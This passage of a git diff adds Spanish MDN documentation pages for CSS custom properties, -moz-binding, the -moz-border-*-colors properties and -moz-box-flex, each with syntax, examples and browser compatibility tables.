+   <td>{{SpecName('XMLHttpRequest', '#handler-xhr-onload')}}</td>
+   <td>{{Spec2('XMLHttpRequest')}}</td>
+   <td>WHATWG living standard</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.XMLHttpRequestEventTarget.onload")}}</p>
diff --git a/files/es/web/css/--_star_/index.html b/files/es/web/css/--_star_/index.html
new file mode 100644
index 0000000000..06106e8c7d
--- /dev/null
+++ b/files/es/web/css/--_star_/index.html
@@ -0,0 +1,106 @@
+---
+title: 'Propiedades personalizadas (--*): variables CSS'
+slug: Web/CSS/--*
+translation_of: Web/CSS/--*
+---
+<div>{{CSSRef}}</div>
+
+<p class="summary"><span class="seoSummary">Los nombres de las propiedades que tiene el prefijo <code>--</code>, como <code>--ejemplo-nombre</code>, representan las <em>propiedades personalizadas </em>que contienen un valor que puede ser usado en otras declaraciones usando la función {{cssxref("var")}}.</span></p>
+
+<p>Las propiedades personalizadas tienen como alcance los elementos en los que se declaran y participan en la cascada: el valor de dicha propiedad personalizada es el de la declaración decidida por el algoritmo en cascada.</p>
+
+<p>{{CSSInfo}}</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">--somekeyword: left;
+--somecolor: #0000ff;
+--somecomplexvalue: 3px 6px rgb(20, 32, 54);
+</pre>
+
+<dl>
+ <dt><code>&lt;declaración-valor&gt;</code></dt>
+ <dd>Este valor coincide con cualquier secuencia de uno o más tokens, siempre que la secuencia no contenga un token no permitido.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Nota</strong>: Los nombres de las propiedades personalizadas distinguen entre mayúsculas y minúsculas — <code>--mi-color</code> se tratará como una propiedad personalizada separada de <code>--Mi-color</code>.</p>
+</div>
+
+<h3 id="Sintaxis_formal">Sintaxis formal</h3>
+
+<pre class="syntaxbox notranslate">{{CSSSyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html notranslate">&lt;p id="firstParagraph"&gt;Este párrafo debe tener un fondo azul y un texto amarillo.&lt;/p&gt;
+&lt;p id="secondParagraph"&gt;Este párrafo debe tener un fondo amarillo y un texto azul.&lt;/p&gt;
+&lt;div id="container"&gt;
+  &lt;p id="thirdParagraph"&gt;Este párrafo debe tener un fondo verde y un texto amarillo.&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css; highlight[2,3] notranslate">:root {
+  --first-color: #488cff;
+  --second-color: #ffff8c;
+}
+
+#firstParagraph {
+  background-color: var(--first-color);
+  color: var(--second-color);
+}
+
+#secondParagraph {
+  background-color: var(--second-color);
+  color: var(--first-color);
+}
+
+#container {
+  --first-color: #48ff32;
+}
+
+#thirdParagraph {
+  background-color: var(--first-color);
+  color: var(--second-color);
+}
+
+</pre>
+
+<h3 id="Resultado">Resultado</h3>
+
+<p>{{EmbedLiveSample('Example', 500, 130)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Especificación</th>
+   <th scope="col">Estado</th>
+   <th scope="col">Comentario</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Variables", "#defining-variables", "--*")}}</td>
+   <td>{{Spec2("CSS3 Variables")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilidad_con_navegadores">Compatibilidad con navegadores</h2>
+
+
+
+<p>{{Compat("css.properties.custom-property")}}</p>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/Using_CSS_variables">Usando variables CSS</a></li>
+ <li><span class="seoSummary">La función {{cssxref("var")}}</span></li>
+</ul>
diff --git a/files/es/web/css/-moz-binding/index.html b/files/es/web/css/-moz-binding/index.html
new file mode 100644
index 0000000000..0280bb44b8
--- /dev/null
+++ b/files/es/web/css/-moz-binding/index.html
@@ -0,0 +1,110 @@
+---
+title: '-moz-binding'
+slug: Web/CSS/-moz-binding
+tags:
+  - CSS
+  - No estándar(2)
+  - Referencia CSS
+  - XBL
+translation_of: Archive/Web/CSS/-moz-binding
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>La propiedad CSS <code>-moz-binding</code> CSS es usada por las aplicaciones basadas en Mozilla para adjuntar una asociación o enlace <a href="/en-US/docs/XBL">XBL</a> a un elemento del DOM</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* &lt;uri&gt; value */
+-moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#checkbox);
+
+/* Global values */
+-moz-binding: inherited;
+-moz-binding: initial;
+-moz-binding: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>&lt;uri&gt;</dt>
+ <dd>La URI del enlace XBL (incluyendo el identificador de fragmento).</dd>
+ <dt><code>none</code></dt>
+ <dd>No se aplica ninguna asociación o enlace XBL al elemento.</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush: css">.exampleone {
+  -moz-binding: url(http://www.example.org/xbl/htmlBindings.xml#radiobutton);
+}</pre>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>No es parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores.">Compatibilidad con los distintos navegadores.</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li><a href="/en-US/docs/XBL/XBL_1.0_Reference/Binding_Attachment_and_Detachment">XBL Reference: Binding Attachment and Detachment</a></li>
+ <li><a href="/en-US/docs/Mozilla/Tech/XUL/Tutorial/Introduction_to_XBL">XUL Tutorial: Introduction to XBL</a></li>
+</ul>
diff --git a/files/es/web/css/-moz-border-bottom-colors/index.html b/files/es/web/css/-moz-border-bottom-colors/index.html
new file mode 100644
index 0000000000..75dea0131a
--- /dev/null
+++ b/files/es/web/css/-moz-border-bottom-colors/index.html
@@ -0,0 +1,136 @@
+---
+title: '-moz-border-bottom-colors'
+slug: Web/CSS/-moz-border-bottom-colors
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Archive/Web/CSS/-moz-border-bottom-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>En la aplicaciones de Mozilla como Firefox la propiedad CSS {{cssxref("-moz-border-bottom-colors")}} establece una lista de colores para el borde inferior.</p>
+
+<p>Cuando un elemento tiene un borde que es mayor de un único pixel CSS, cada línea de pixels usa el siguiente color especificado con esta propiedad, desde fuera hacia adentro. Esto elimina la necesidad de cajas anidadas. Si el borde es mayor que el número colores especificados, la parte restante del borde mantendrá el último color interno especificado</p>
+
+<p>{{cssinfo}}</p>
+
+<p>No se aplica</p>
+
+<ol>
+ <li>Si {{Cssxref("border-style")}} es <code>dashed</code> o <code>dotted</code>.</li>
+ <li>En tablas con <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Valor de &lt;color&gt; único */
+-moz-border-bottom-colors: #f0f0f0;
+
+/* Valores de &lt;color&gt; múltiples */
+-moz-border-bottom-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valores globales */
+-moz-border-bottom-colors: inherit;
+-moz-border-bottom-colors: initial;
+-moz-border-bottom-colors: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Acepta una lista de colores separados por espacios en blanco.</p>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>Especifica el color de una línea de pixels para el borde inferiror. <code>transparent</code> (transparente) es un color válido. Ver  valores de {{cssxref("&lt;color&gt;")}} para ver las posibles unidades.</dd>
+ <dt>none</dt>
+ <dd>Valor por defecto, si se establece no se muestra ningún color  ni se usa {{cssxref("border-color")}}</dd>
+</dl>
+
+<h3 id="Síntaxis_formal">Síntaxis formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html">&lt;div id="example"&gt;Ejemplo&lt;/div&gt;
+</pre>
+
+<pre class="brush:css">#example {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", 120, 90)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no forma parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{Cssxref("-moz-border-right-colors")}}</li>
+ <li>{{Cssxref("-moz-border-top-colors")}}</li>
+ <li>{{Cssxref("-moz-border-left-colors")}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-border-left-colors/index.html b/files/es/web/css/-moz-border-left-colors/index.html
new file mode 100644
index 0000000000..81eb29d51f
--- /dev/null
+++ b/files/es/web/css/-moz-border-left-colors/index.html
@@ -0,0 +1,144 @@
+---
+title: '-moz-border-left-colors'
+slug: Web/CSS/-moz-border-left-colors
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Archive/Web/CSS/-moz-border-left-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>En aplicaciones de Mozilla, como Firefox, la propiedad CSS {{cssxref("-moz-border-left-colors")}} aplica una lista de colores al borde derecho.</p>
+
+<p>Cuando un elemento tiene un borde que es mayor de un único pixel CSS, cada línea de pixels usa el siguiente color especificado con esta propiedad, desde fuera hacia adentro. Esto elimina la necesidad de cajas anidadas. Si el borde es mayor que el número colores especificados, la parte restante del borde mantendrá el último color interno especificado.</p>
+
+<p> </p>
+
+<p>{{cssinfo}}</p>
+
+<p> </p>
+
+<p>No se aplica</p>
+
+<ol>
+ <li>Si  {{Cssxref("border-style")}} es <code>dashed</code> o <code>dotted</code>.</li>
+ <li>A tablas con <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Valor de &lt;color&gt; único */
+-moz-border-left-colors: #f0f0f0;
+
+/* Valor de &lt;color&gt; único */
+-moz-border-left-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valores globales */
+-moz-border-left-colors: inherit;
+-moz-border-left-colors: initial;
+-moz-border-left-colors: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Acepta una lista de colores separados por espacios en blanco.</p>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>Especifica el color de una línea de pixels para el borde inferiror. <code>transparent</code> (transparente) es un color válido. Ver  valores de {{cssxref("&lt;color&gt;")}} para ver las posibles unidades.</dd>
+ <dt>none</dt>
+ <dd>Valor por defecto, si se establece no se muestra ningún color  ni se usa {{cssxref("border-color")}}<code>.</code></dd>
+</dl>
+
+<p> </p>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<p> </p>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html">&lt;div id="example"&gt;Ejemplo&lt;/div&gt;
+</pre>
+
+<pre class="brush:css">#example {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", 120, 90)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no forma parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{Cssxref("-moz-border-right-colors")}}</li>
+ <li>{{Cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{Cssxref("-moz-border-top-colors")}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-border-right-colors/index.html b/files/es/web/css/-moz-border-right-colors/index.html
new file mode 100644
index 0000000000..5939baf82f
--- /dev/null
+++ b/files/es/web/css/-moz-border-right-colors/index.html
@@ -0,0 +1,136 @@
+---
+title: '-moz-border-right-colors'
+slug: Web/CSS/-moz-border-right-colors
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Archive/Web/CSS/-moz-border-right-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>En la aplicaciones de Mozilla como Firefox la propiedad CSS {{cssxref("-moz-border-right-colors")}} establece una lista de colores para el borde derecho.</p>
+
+<p>Cuando un elemento tiene un borde que es mayor de un único pixel CSS, cada línea de pixels usa el siguiente color especificado con esta propiedad, desde fuera hacia adentro. Esto elimina la necesidad de cajas anidadas. Si el borde es mayor que el número colores especificados, la parte restante del borde mantendrá el último color interno especificado</p>
+
+<p>{{cssinfo}}</p>
+
+<p>No se aplica</p>
+
+<ol>
+ <li>Si {{Cssxref("border-style")}} es <code>dashed</code> o <code>dotted</code>.</li>
+ <li>a tablas con <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Valor de &lt;color&gt; único */
+-moz-border-right-colors: #f0f0f0;
+
+/* Valor de &lt;color&gt; múltiple */
+-moz-border-right-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valores gloables */
+-moz-border-right-colors: inherit;
+-moz-border-right-colors: initial;
+-moz-border-right-colors: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Acepta una lista de colores separados por espacios en blanco.</p>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>Especifica el color de una línea de pixels para el borde inferiror. <code>transparent</code> (transparente) es un color válido. Ver  valores de {{cssxref("&lt;color&gt;")}} para ver las posibles unidades.</dd>
+ <dt>none</dt>
+ <dd>Valor por defecto, si se establece no se muestra ningún color  ni se usa {{cssxref("border-color")}}</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html">&lt;div id="example"&gt;Ejemplo&lt;/div&gt;
+</pre>
+
+<pre class="brush:css">#example {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", 120, 90)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no forma parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores.">Compatibilidad con los distintos navegadores.</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{Cssxref("-moz-border-top-colors")}}</li>
+ <li>{{Cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{Cssxref("-moz-border-left-colors")}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-border-top-colors/index.html b/files/es/web/css/-moz-border-top-colors/index.html
new file mode 100644
index 0000000000..2db9dffac6
--- /dev/null
+++ b/files/es/web/css/-moz-border-top-colors/index.html
@@ -0,0 +1,140 @@
+---
+title: '-moz-border-top-colors'
+slug: Web/CSS/-moz-border-top-colors
+tags:
+  - CSS
+  - No estándar(2)
+  - Propiedad CSS
+  - Referencia CSS
+translation_of: Archive/Web/CSS/-moz-border-top-colors
+---
+<div>{{Non-standard_header}}{{CSSRef}}</div>
+
+<p>En la aplicaciones de Mozilla como Firefox la propiedad CSS {{cssxref("-moz-border-top-colors")}} establece una lista de colores para el borde inferior.</p>
+
+<p>Cuando un elemento tiene un borde que es mayor de un único pixel CSS, cada línea de pixels usa el siguiente color especificado con esta propiedad, desde fuera hacia adentro. Esto elimina la necesidad de cajas anidadas. Si el borde es mayor que el número colores especificados, la parte restante del borde mantendrá el último color interno especificado</p>
+
+<p>{{cssinfo}}</p>
+
+<p>No se aplica</p>
+
+<ol>
+ <li>Si {{Cssxref("border-style")}} es <code>dashed</code> o <code>dotted</code>.</li>
+ <li>En tablas con <code>border-collapse: collapse</code>.</li>
+</ol>
+
+<p> </p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<p> </p>
+
+<pre class="brush:css">/* Valores de &lt;color&gt; único */
+-moz-border-top-colors: #f0f0f0;
+
+/* Valores de color &lt;color&gt; múltiple */
+-moz-border-top-colors: #f0f0f0 #a0a0a0 #505050 #000000;
+
+/* Valores gloables */
+-moz-border-top-colors: inherit;
+-moz-border-top-colors: initial;
+-moz-border-top-colors: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<p>Acepta una lista de colores separados por espacios en blanco.</p>
+
+<dl>
+ <dt>&lt;color&gt;</dt>
+ <dd>Especifica el color de una línea de pixels para el borde inferiror. <code>transparent</code> (transparente) es un color válido. Ver  valores de {{cssxref("&lt;color&gt;")}} para ver las posibles unidades.</dd>
+ <dt>none</dt>
+ <dd>Valor por defecto, si se establece no se muestra ningún color  ni se usa {{cssxref("border-color")}}</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplo">Ejemplo</h2>
+
+<pre class="brush:html">&lt;div id="example"&gt;Ejemplo&lt;/div&gt;
+</pre>
+
+<pre class="brush:css">#example {
+  padding: 20px;
+  background-color: gray;
+  border: 10px solid black;
+  -moz-border-top-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+  -moz-border-right-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-bottom-colors: red #f60 #f80 #f90 #fa0 #fb0 #fc0 #fd0 #fe0 #ff0;
+  -moz-border-left-colors: #e00 #c30 #c50 #c60 #c70 #c80 #c90 #ca0 #cb0 #cc0;
+}
+</pre>
+
+<p>{{EmbedLiveSample("Example", 120, 90)}}</p>
+
+<h2 id="Especificaciones">Especificaciones</h2>
+
+<p>Esta propiedad no forma parte de ninguna especificación.</p>
+
+<h2 id="Compatibilidad_con_los_distintos_navegadores">Compatibilidad con los distintos navegadores</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatGeckoDesktop("1.7")}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Característica</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Soporte básico</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Ver_además">Ver además</h2>
+
+<ul>
+ <li>{{cssxref("border-color")}}</li>
+ <li>{{Cssxref("-moz-border-right-colors")}}</li>
+ <li>{{Cssxref("-moz-border-bottom-colors")}}</li>
+ <li>{{Cssxref("-moz-border-left-colors")}}</li>
+</ul>
diff --git a/files/es/web/css/-moz-box-flex/index.html b/files/es/web/css/-moz-box-flex/index.html
new file mode 100644
index 0000000000..c7491aea2d
--- /dev/null
+++ b/files/es/web/css/-moz-box-flex/index.html
@@ -0,0 +1,155 @@
+---
+title: '-moz-box-flex'
+slug: Web/CSS/-moz-box-flex
+tags:
+  - CSS
+  - No estándar(2)
+  - Referencia CSS
+translation_of: Web/CSS/box-flex
+---
+<div>{{CSSRef}}{{warning("Esta propiedad es para controlar parte del modelo de caja XUL. No coincide ni con el antiguo borrador del módulo CSS para el diseño de caja flexibles  '<code>box-flex</code>' (que se basa en esta propiedad) ni con el comportamiento de '<code>-webkit-box-flex</code>' (que se basa en esos borradores).")}}</div>
+
+<p>Ver <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes">Flexbox</a> para más información acerca de qué usar en vez de esta propiedad.</p>
+
+<h2 id="Resumen">Resumen</h2>
+
+<p>Las propiedades <a href="/en-US/docs/Web/CSS">CSS</a><code>-moz-box-flex</code> y <code>-webkit-box-flex</code> especifican cómo una  <code>-moz-box</code> o <code>-webkit-box</code> crecen para rellenar la caja que los contienen, en la dirección del diseño o esquema (layout) de la caja contenedora.Ver <a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Using_CSS_flexible_boxes">Flexbox</a> para más información sobre las propiedades de los elementos flexbox.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Síntaxis">Síntaxis</h2>
+
+<pre class="brush:css">/* Valores &lt;number&gt; */
+-moz-box-flex: 0;
+-moz-box-flex: 3;
+-webkit-box-flex: 0;
+-webkit-box-flex: 3;
+
+/* Valores gloables */
+-moz-box-flex: inherit;
+-moz-box-flex: initial;
+-moz-box-flex: unset;
+</pre>
+
+<h3 id="Valores">Valores</h3>
+
+<dl>
+ <dt>0</dt>
+ <dd>La caja no crece.</dd>
+ <dt>&gt; 0</dt>
+ <dd>La caja crece para rellenar un proporción del espacio disponible..</dd>
+</dl>
+
+<h3 id="Síntaxis_Formal">Síntaxis Formal</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+    &lt;title&gt;Ejemplo de -moz-box-flex&lt;/title&gt;
+    &lt;style&gt;
+      div.example {
+        display: -moz-box;
+        display: -webkit-box;
+        border: 1px solid black;
+        width: 100%;
+      }
+      div.example &gt; p:nth-child(1) {
+        -moz-box-flex: 1;       /* Mozilla */
+        -webkit-box-flex: 1;    /* WebKit */
+        border: 1px solid black;
+      }
+      div.example &gt; p:nth-child(2) {
+        -moz-box-flex: 0;       /* Mozilla */
+        -webkit-box-flex: 0;    /* WebKit */
+        border: 1px solid black;
+      }
+    &lt;/style&gt;
+  &lt;/head&gt;
+  &lt;body&gt;
+    &lt;div class="example"&gt;
+      &lt;p&gt;Creceré para rellenar un espacio extra&lt;/p&gt;
+      &lt;p&gt;No creceré&lt;/p&gt;
+    &lt;/div&gt;
+  &lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Notas">Notas</h2>
+
